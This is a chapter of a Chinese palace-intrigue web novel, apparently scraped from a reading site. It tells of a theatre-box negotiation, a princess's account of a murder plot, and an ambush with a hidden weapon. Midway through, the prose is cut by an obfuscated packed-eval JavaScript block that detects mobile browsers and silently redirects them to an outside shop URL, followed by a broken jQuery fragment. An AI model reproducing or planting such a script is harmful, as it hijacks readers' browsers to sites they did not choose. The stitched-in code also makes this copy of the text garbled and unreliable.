熟悉的天青色背影,一侧肩微微塌着,不是端正的坐姿,左手扣着玉骨折扇的流苏坠子随意掂着,他的侧脸亦是熟悉的笑:“宗政世家囿于容宣城这样的小地方,扎根十数年也该到头了。”
折扇在空中旋了一个不算小的弧度,最后被他牢牢握在掌心,总算收拢回来:“我行此腌臢手段,也是因为您的儿子耽于女色,这点实属是您这个做父亲的不对。”
倒打一耙的功夫,柳南知认第二,天下绝无人敢认第一。
“听说您老爱听戏,不妨评价评价这出。”他朝着楼下扬了扬下巴,“新编的曲目,我出的点子,讲的是仆从勾结主人的妻子,妄想打一个漂亮的翻身仗。”
宗政朗月鼻腔里呼出重重的,悠长的一口气,他撇过脸去,也并未回应。
宗政育临适时上前,往他烟枪里添了一把烟草。
——
瑜滟长公主生前有一个孩子,是宗政朗月设计的酒后乱性,更是她自己甘心沦陷的牺牲品。
赫连枭的死也并非是重伤不治,而是中了蛊毒。
是长公主想要用换命的法子,为自己求个有情人终成眷属,亦可成全宗政朗月的宏图霸业。
宗政虽退出朝堂已久,但月氏独揽大权,朝中官员受胁迫已久,积怨愈深。
若是在月氏策划的秋猎上,发生些意外,也算是能出口恶气。
秋猎,赫连枭被野性十足的猛虎扑倒。
情急之下,数箭齐发。
总有误伤的时候。
起初赫连枭对自己的伤口不以为意,当众嘉奖侍从护驾有功。
也因秋猎一应事宜是由月氏霖嫡子负责,他毫不留情卸了月氏的职,遂了百官的心愿。
箭矢淬毒,赫连枭伤久未愈,等到重视的时候,已经是油尽灯枯,任人摆布。
赫连枭被名贵药材吊着续命,只需等到一个契合的时机,等到十五月圆之夜。
这具身体里的灵魂就是彻头彻尾的宗政朗月,而真正的赫连枭也会消失的无影无踪。
一切都在按计划有条不紊的进行。
可惜,却被被赫连敏怡撞破私情。
“我父王对她的恩宠,可谓是无所不用其极。他病重时还想着,念叨着她,让我把新贡的砚台送给她,可她却在瑶池宫与贼人颠鸾倒凤,还谋算我父王死后该如何羞辱他。”赫连敏怡咬牙切齿的样子仿佛还在眼前,“情急之下我只能挟了她儿子,逼她把贼人交出来。可她一柄刀横在胸前,也要为那贼人争得一线生机。”
“她毕竟是我父王爱重的人,我总是不能先斩后奏。也不知是谁撞翻烛台,一时间瑶池宫大乱,她竟拎出父王给她打造的金曲弯弓想射杀我。”她的脸颊有些皲,嘴唇也有些干裂,许是这几日长呆在军营的缘故,“我自幼习武,她自然伤不了我。可那贼人与她配合,竟想从我身后了结我。”
瑶池宫翻新过。
雨后总能闻到一些沉闷的,潮湿的焦腥味,原来是曾被火烧过的缘故。
她的语速变慢,声音变低,到最后连脑袋也垂了下来,“是宗政朗月。”她红彤彤的眼睛像是兔子眼睛一样纯洁干净,攥紧的拳头微微发颤,“只是可怜我那小王弟,还不足七岁。他死的时候还紧紧抱着宗政朗月的腿,喊着阿姐快走。”
稚子无辜。
更何况这么多年的手足情谊也并非是假的。
赫连敏怡的眼泪坠进雪地里,消失的无影无踪。
我那时刚想出声安慰,身后就传来脚踩在雪地的嘎吱声响。
我回过头,正好能看到阳光透过凋敝的树桠,破碎的光斑堆聚在转角,漂浮的细小尘埃和细密的雪花在透亮中缠绵悱恻。
屋檐下倒挂的冰凌,亦如潮水起伏忽高忽低。
赭石色的牛皮短靴,缁色的翻领长袍,金银细链加皮革制式的腰带,两股牛皮绳编织的细带抹额。
他的唇角锋利如刀,不似之前见面时总是特意营造出桀骜不驯。
“当夜我赶赴王城,正巧碰见敏敏被人追杀。”赫连喻时朝我走来,手中握着的竹纸伞没有撑开,被他搁在角落。
赫连敏怡擦了把眼泪,扭头走开。
我站在原地挪开视线没继续看他。
“那些亡命徒让她身体负累已到极限,我只好让言徵护她周全。我只身与歹徒周旋,但没抓到一个活口。”他走到我身侧,他身上带着茉莉和杜松的香味,是我在王庭常用的一种香。
“当夜父王病逝,遗诏让我即位,我能看出来遗诏是新改的,父王是自戕的,再加上瑶池宫出了那么大的乱子,言徵和我都觉得有蹊跷,但个中缘由只有敏敏能够给出答案。”
他的说辞和闲兴居了解到的不太一样,但我此刻并无暇顾及这些出入。
我从未没有想过会在这里遇见他,毕竟约在此处是高鹤言的安排。
我揪着眉头,一心只盘算着该如何脱身。
突然一只手挡在我身前,迫使我抬头看他。
“我们隐瞒了敏敏的去处,太妃以伤心过度为由搬去了王庭的最偏处。是我愚钝,从没怀疑过她。”他的眼睫落下了几片雪花,雪花轻薄却压得他无力睁开:“敏敏重伤昏迷了小半年,等她醒后,我却早已成了傀儡。”
他的手指渐渐蜷起,擦过我的衣裙往下落。
庭中雪落簌簌,偶有飞鸟嘶鸣而过。阳光渐尽,却绚烂的愈加夺目。
几乎是这一瞬的功夫,就连他的轮廓我都有些看不真切。
他重重的叹了口气,似乎要讲胸腔里所有的情绪都丢弃。
他的声音终于变得如寻常般松快:“是不是和你了解的不太一样。”
这些皇室密辛,自然是亲历者的讲述更有份量。
更何况我并不怀疑他诓骗我。
大片夕阳点缀的天空,浓烈的色彩和屋檐上萧瑟的积雪对照。
一远一近。
是永远不能相干的东西。
却都会随着天光渐暗,蒙上一层阴影。
“赵谖,人是会说谎的。”
他侧过身去,我清楚地看见他胸腔的起伏,他嘴角的弧度。
他就是很聪明。
轻而易举就能捕捉到我微小的情绪变化。
“下雪了。”
雪一直在下。
甚至在他出现的那一刻,下得更密。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689373|144358||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
我晃晃脑袋,狐裘领子上的雪花也被我抖落下来。
我们谁也没有再说话。
——
一声轻咳,将我拉回现实。
宗政朗月背往后靠,他本来就年纪大,装起来就更像一个运筹帷幄的常胜将军。
“柳公子这是效忠谁?敢做马前卒,来我面前出风头?”他嘴巴里吐出一口烟,张牙舞爪四处弥散,“王庭里的那位早死了。”
他的眼窝凹陷,无赖势利全不隐藏,“我现在不过是一介平民,和柳公子又有什么干系?”
柳南知的眼神瞥过来,浅淡的不屑,无所谓地啧了一声:“贵公子移送官府,又和我有什么关系?”他不待宗政朗月回应,就自顾自地接下去,“也是,毕竟您的养子,更适合继承家业。”
他甚至还贴心地替宗政朗月掸去了掉落在膝上的烟灰。
宗政育临一言不发。
沉闷稳重的性格,确实和我了解得到的相差无几。
可我总觉得他奇怪。
这样的穿衣打扮,就很奇怪。
宗政朗月也是沉得住气,手里的烟杆搁在桌上,没发出刺耳的声响。
“柳公子一出仙人跳,就想逼我低头?”他笑着,眼角沟壑深浅不一,“手里有什么底牌,尽数亮出来好。”
“哦?”柳南知抖开扇子,眼神似乎丈量着扇面上的亭台水榭,漫不经心道:“可现在是我在和您谈条件。”
他一手嫌弃地把宗政的那支烟杆挑开,袖中抖落下一片破损的玉扣。
因离得太远,我看不太清玉扣的成色和破损程度,但宗政朗月的脸色倏然就变了。
“这物件儿年代久远,劳烦您帮我掌掌眼?”
突然间竹帘被打穿。
从隔间飞来的暗器近在眼前。
紧接着从我耳后擦过一阵凌厉的风。
二者在空中碰撞发出一声闷响,刺眼的光亮一闪而过。
暗器被打偏后散乱钉入木桩,留下三个深浅不一的黑洞。
悬挂的竹帘应声而落,底下桌案上摆放的器物拂掷地面,装着文竹的朱砂瓶就碎在我面前。
但这两间屋子里所有的嘈杂,全都被戏台急促的锣鼓声和响彻戏楼的喝彩声全部遮掩。
我下意识地捏紧了手,眼神却不躲闪。
那道暗器的主人侧头睨着我,嘴角牵扯出阴邪的恶趣味:“赵姑娘。”
我没恼怒,朝琳琅摆摆手,然后把衣摆上溅到的泥土甩甩干净:“宗政公子。”
他是认识我的。
我突然有些好奇,他会认为我是谁的人呢?
我提裙跨过两间屋子中央的杂乱。
发髻上简简单单一只竹漆簪,簪首镂刻金笔描摹。
宗政朗月蹙眉,只瞥了我一眼就收回视线。
柳南知的舌尖顶住脸颊一侧,眼神微眯,但也没给我过多关注。
只有宗政育临一瞬不瞬地盯着我,像猎人等待猎物入网般狠厉。
我没理会他,擦过他的肩头,走到柳南知和宗政朗月之间,微微俯身替他们将茶盏斟满。
“赵姑娘也想淌这趟浑水?”